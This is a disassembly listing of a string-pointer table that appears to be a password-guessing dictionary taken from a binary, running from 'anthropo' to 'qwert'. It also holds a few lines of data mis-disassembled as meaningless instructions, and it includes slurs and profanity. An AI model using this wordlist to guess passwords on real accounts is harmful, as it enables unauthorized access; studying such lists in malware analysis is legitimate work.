offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" ; --------------------------------------------------------------------------- sal byte ptr [edx], 1 inc ebx add ah, al xor al, [ebx+0] mov esp, 0B0004332h xor al, [ebx+0] test al, 32h inc ebx add [eax+20004332h], ah retn ; --------------------------------------------------------------------------- dw 42h dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool_0 ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_1 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_3 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset 